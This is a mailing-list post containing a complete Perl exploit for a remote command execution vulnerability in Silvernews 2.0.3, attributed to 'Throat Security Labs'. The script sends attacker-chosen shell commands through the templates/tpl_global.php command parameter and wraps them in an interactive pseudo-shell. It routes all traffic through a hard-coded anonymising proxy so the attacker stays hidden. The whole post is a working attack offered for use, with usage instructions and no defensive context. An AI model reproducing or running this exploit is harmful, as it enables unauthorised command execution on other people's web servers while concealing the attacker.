Silvernews 2.0.3 remote command execution exploit, proxy server support!

[tsl@xxxxxxxxxxxxxxxxx, "[at]"@securityfocus.com, hackermail.com@xxxxxxxxxxxxxxxxx]

Exploit for the remote command execution vulnerability in Silvernews 2.0.3:
discovered by:
http://www.securityfocus.com/archive/1/407163/30/0/threaded

sploit:
--------



#!/usr/bin/perl

################TSL###########################################################
#
#
# SilverNews Exploit inlcuded Proxy Server Function
# THROAT SECURITY LABS
#
#  vuln:  http://www.target.com/templates/tpl_global.php?command=[command]
#
#
################TSL###########################################################

$l="\015\012";
$t=0;
my $sock;
my $target;
my $location;
my $command;
my $proxy;

#define your proxyserver:
$proxy = "200.186.217.122"; #brazil high anoynmity proxy

use IO::Socket;

sub sploit()
{

 $sock = IO::Socket::INET->new(PeerAddr => $proxy, PeerPort => 80,
 Proto => "tcp") or die "No Connection to Your ProxyServer: $proxy at Port 80\n";

 print $sock "GET $target/$location/templates/tpl_global.php?command=$command HTTP/1.1$l";

 print $sock "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)$l";
 print $sock "Connection: close$l";

while (<$sock>) {

    if (/^HTTP\/1\.[0-2] ([0-9]{3}) .+$/ and $1 ne "200"){
	print "Error! Got HTTP return code $1. Exciting!\n";
	exit 1;

    }

    print if $t==1;
    $t=1 if /^$l$/;

 }

}

if (@ARGV != 2)

{

 print "\n*** by lizard for [T]hroat [S]ecurity [L]abs\n";
 print "-------------------------------------------------------\n\n";
 print "* usage:\t $0 [target] [path] \n";
 print "* example:\t $0 www.target.com newssystem \n";
 print "----\n\n\n pia s. i love you forever ;)\n\n";

} else {

 $target     = $ARGV[0];
 $location   = $ARGV[1];

 print "sending exploit ... please wait\n";
 sleep(1);

while(1){

   print "[sploit\@$target:/$location\] ";
   $_=<STDIN>;
   chop;
   next if /^$/;
   s/ /%20/;
   #if ($command=="exit") {exit} else {sploit()};
   $command=$_;
   sploit();

   }

}

#EOF#